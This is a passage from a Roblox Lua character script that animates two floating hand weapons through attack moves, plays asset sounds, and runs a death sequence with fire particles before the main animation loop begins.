  4381. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  4382. for i=0,1,0.1 do
  4383. swait()
  4384. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4385. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4386. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4387. Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4388. Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4389. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  4390. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  4391. end
  4392. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  4393. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4394. so("http://www.roblox.com/asset/?id=159882481",Torso,1,1)
  4395. for i=0,1,0.1 do
  4396. swait()
  4397. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4398. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4399. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4400. Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4401. Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4402. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  4403. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  4404. end
  4405. --dmgstop()
  4406. attack=false
  4407. con1:disconnect()
  4408. con2:disconnect()
  4409. if TrailDeb == true then
  4410. TrailDeb = false
  4411. end
  4412. end
  4413.  
  4414. function Clap()
  4415. attack=true
  4416. mana=mana-20
  4417. if TrailDeb == false then
  4418. TrailDeb = true
  4419. end
  4420.  
  4421.  
  4422. coroutine.wrap(function()
  4423. local Old = Handle2.CFrame.p
  4424. while wait()do
  4425. if not TrailDeb then break end
  4426. local New = Handle2.CFrame.p
  4427. local Mag =(Old -New).magnitude
  4428. local Dis =(Old +New)/2
  4429. local Trail = Instance.new("Part",Character)
  4430. Trail.Material = "Neon"
  4431. Trail.Anchored = true
  4432. Trail.CanCollide = false
  4433. Trail.BrickColor = TorsoColor
  4434. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4435. Trail.TopSurface = 0
  4436. Trail.BottomSurface = 0
  4437. Trail.formFactor = "Custom"
  4438. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4439. local ms = Instance.new("BlockMesh",Trail)
  4440. ms.Scale = Vector3.new(1,1,1)
  4441. local TM = Instance.new("CylinderMesh",Trail)
  4442. TM.Scale = Vector3.new(1,1,1)
  4443. Old = New
  4444. coroutine.wrap(function()
  4445. for i = 1,0,-0.1 do
  4446. wait()
  4447. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4448. end
  4449. Trail:remove()
  4450. end)()
  4451. coroutine.wrap(function()
  4452. for i = 1,10 do
  4453. wait()
  4454. Trail.Transparency = Trail.Transparency +0.1
  4455. end end)()end end)()
  4456. coroutine.wrap(function()
  4457. local Old = Handle.CFrame.p
  4458. while wait()do
  4459. if not TrailDeb then break end
  4460. local New = Handle.CFrame.p
  4461. local Mag =(Old -New).magnitude
  4462. local Dis =(Old +New)/2
  4463. local Trail = Instance.new("Part",Character)
  4464. Trail.Material = "Neon"
  4465. Trail.Anchored = true
  4466. Trail.CanCollide = false
  4467. Trail.BrickColor = TorsoColor
  4468. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4469. Trail.TopSurface = 0
  4470. Trail.BottomSurface = 0
  4471. Trail.formFactor = "Custom"
  4472. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4473. local ms = Instance.new("BlockMesh",Trail)
  4474. ms.Scale = Vector3.new(1,1,1)
  4475. local TM = Instance.new("CylinderMesh",Trail)
  4476. TM.Scale = Vector3.new(1,1,1)
  4477. Old = New
  4478. coroutine.wrap(function()
  4479. for i = 1,0,-0.1 do
  4480. wait()
  4481. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4482. end
  4483. Trail:remove()
  4484. end)()
  4485. coroutine.wrap(function()
  4486. for i = 1,10 do
  4487. wait()
  4488. Trail.Transparency = Trail.Transparency +0.1
  4489. end end)()end end)()
  4490. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  4491. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  4492. so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9)
  4493. for i=0,1,0.08 do
  4494. swait()
  4495. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4496. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4497. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4498. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2)
  4499. Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2)
  4500. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  4501. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3)
  4502. end
  4503. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  4504. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4505. for i=0,1,0.08 do
  4506. swait()
  4507. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4508. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4509. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4510. Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2)
  4511. Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2)
  4512. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  4513. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  4514. end
  4515. --dmgstop()
  4516. attack=false
  4517. con1:disconnect()
  4518. con2:disconnect()
  4519. if TrailDeb == true then
  4520. TrailDeb = false
  4521. end
  4522. end
  4523.  
  4524. function Hai()
  4525. attack=true
  4526. Humanoid.WalkSpeed=0
  4527. so("http://www.roblox.com/asset/?id=159882567",Torso,1,1)
  4528. for i=0,1,0.1 do
  4529. swait()
  4530. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4531. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4532. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4533. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4534. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4535. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4536. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4537. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4538. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4539. end
  4540. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  4541. for i=0,1,0.1 do
  4542. swait()
  4543. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4544. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4545. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4546. Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  4547. Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4548. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4549. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4550. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5)
  4551. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4552. end
  4553. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4554. for i=0,1,0.1 do
  4555. swait()
  4556. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4557. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4558. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4559. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4560. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4561. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4562. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4563. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4564. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4565.  
  4566. end
  4567. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  4568. for i=0,1,0.1 do
  4569. swait()
  4570. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4571. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4572. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4573. Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  4574. Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4575. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4576. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4577. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3)
  4578. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4579. end
  4580. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4581. for i=0,1,0.1 do
  4582. swait()
  4583. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4584. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4585. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4586. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4587. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4588. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4589. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4590. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4591. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4592. end
  4593. --dmgstop()
  4594. Humanoid.WalkSpeed=12
  4595. attack=false
  4596. end
  4597.  
  4598. function Die()
  4599. attack=true
  4600. Footsteps:Stop()
  4601. Footsteps2:Stop()
  4602. local Fire = it("Sound",Character.Torso)
  4603. Fire.SoundId = "rbxassetid://192104941"
  4604. Fire.Looped = true
  4605. Fire.Pitch = 1
  4606. Fire.Volume = 1
  4607. local Fire2 = it("Sound",Handle2)
  4608. Fire2.SoundId = "rbxassetid://192104941"
  4609. Fire2.Looped = true
  4610. Fire2.Pitch = 1
  4611. Fire2.Volume = 1
  4612. local Fire3 = it("Sound",Handle)
  4613. Fire3.SoundId = "rbxassetid://192104941"
  4614. Fire3.Looped = true
  4615. Fire3.Pitch = 1
  4616. Fire3.Volume = 1
  4617. local Fire4 = it("Sound",handle)
  4618. Fire4.SoundId = "rbxassetid://192104941"
  4619. Fire4.Looped = true
  4620. Fire4.Pitch = 1
  4621. Fire4.Volume = 1
  4622. local fire = Instance.new("ParticleEmitter", Character.Torso)
  4623. fire.Lifetime = NumberRange.new(0.5)
  4624. fire.Speed = NumberRange.new(1, 3)
  4625. fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4626. fire.Rate = 0
  4627. fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4628. fire.LightEmission = 0.6
  4629. fire.Texture = "http://www.roblox.com/asset/?id=242911609"
  4630. fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4631. local fire2 = Instance.new("ParticleEmitter", Handle)
  4632. fire2.Lifetime = NumberRange.new(0.5)
  4633. fire2.Speed = NumberRange.new(1, 3)
  4634. fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  4635. fire2.Rate = 0
  4636. fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4637. fire2.LightEmission = 0.6
  4638. fire2.Texture = "http://www.roblox.com/asset/?id=242911609"
  4639. fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4640. local fire3 = Instance.new("ParticleEmitter", Handle2)
  4641. fire3.Lifetime = NumberRange.new(0.5)
  4642. fire3.Speed = NumberRange.new(1, 3)
  4643. fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  4644. fire3.Rate = 0
  4645. fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4646. fire3.LightEmission = 0.6
  4647. fire3.Texture = "http://www.roblox.com/asset/?id=242911609"
  4648. fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4649. local fire4 = Instance.new("ParticleEmitter", handle)
  4650. fire4.Lifetime = NumberRange.new(0.5)
  4651. fire4.Speed = NumberRange.new(1, 3)
  4652. fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4653. fire4.Rate = 0
  4654. fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4655. fire4.LightEmission = 0.6
  4656. fire4.Texture = "http://www.roblox.com/asset/?id=242911609"
  4657. fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4658. Humanoid.WalkSpeed = 0
  4659. so("http://www.roblox.com/asset/?id=199149297",Head,1,1)
  4660. so("http://www.roblox.com/asset/?id=209527203",Head,1,1)
  4661. for i=0,1,0.08 do
  4662. swait()
  4663. Torso.Velocity=RootPart.CFrame.lookVector*-30
  4664. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2)
  4665. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2)
  4666. handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4667. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4668. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4669. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2)
  4670. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2)
  4671. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  4672. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  4673. end
  4674. for i=0,1,0.005 do
  4675. swait()
  4676. light.Range=15-10*i
  4677. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4678. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4679. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4680. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4681. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4682. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4683. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4684. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4685. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4686. end
  4687. light.Range=0
  4688. for i=0,1,0.01 do
  4689. swait()
  4690. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4691. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4692. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4693. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4694. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4695. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4696. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4697. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4698. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4699. end
  4700. so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9)
  4701. fire.Rate = 1000
  4702. fire2.Rate = 1000
  4703. fire3.Rate = 1000
  4704. fire4.Rate = 1000
  4705. Fire:Play()
  4706. Fire2:Play()
  4707. Fire3:Play()
  4708. Fire4:Play()
  4709. for i=0,1,0.005 do
  4710. swait()
  4711. Character.Character.Head.face.Transparency = 0+1*i
  4712. LeftArm.Transparency=0+1*i
  4713. RightArm.Transparency=0+1*i
  4714. LeftLeg.Transparency=0+1*i
  4715. RightLeg.Transparency=0+1*i
  4716. Head.Transparency=0+1*i
  4717. Torso.Transparency=0+1*i
  4718. for _,v in pairs(Character:children()) do
  4719. if v:IsA("Hat") then
  4720. v.Handle.Transparency = 0+1*i
  4721. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4722. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4723. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4724. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4725. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4726. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4727. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4728. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4729. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4730. end
  4731. end
  4732. --dmgstop()
  4733. end
  4734. Humanoid.Health = 0
  4735. end
  4736.  
  4737. equipanim()
  4738.  
  4739. local sine = 0
  4740. local change = 1
  4741. local val = 0
  4742.  
  4743. local mananum=0
  4744. while true do
  4745. swait()
  4746. sine = sine + change
  4747. local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude
  4748. local velderp=RootPart.Velocity.y
  4749. hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character)
  4750. if equipped==true or equipped==false then
  4751. if Anim=="Idle" and attack==false then
  4752. idle=idle+1
  4753. else
  4754. idle=0
  4755. end
  4756. if Humanoid.Health <=20 then
  4757. if attack == false then
  4758. Humanoid.Health = math.huge
  4759. Die()
  4760. end
  4761. end
  4762. if idle>=1000 then
  4763. if attack==false then
  4764. --Sheath()
  4765. end
  4766. end
  4767. if RootPart.Velocity.y > 1 and hitfloor==nil then
  4768. Anim="Jump"
  4769. if attack==false then
  4770. Footsteps:Stop()
  4771. Footsteps2:Stop()
  4772. Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3)
  4773. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4774. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3)
  4775. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3)
  4776. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4777. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3)
  4778. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4779. RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  4780. LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  4781. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  4782. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4783. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4784. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4785. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4786. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4787. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4788. end
  4789. elseif RootPart.Velocity.y < -1 and hitfloor==nil then
  4790. Anim="Fall"
  4791. if attack==false then
  4792. Footsteps:Stop()
  4793. Footsteps2:Stop()
  4794. Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  4795. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4796. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  4797. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  4798. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4799. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  4800. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4801. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  4802. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  4803. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4804. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  4805. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  4806. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
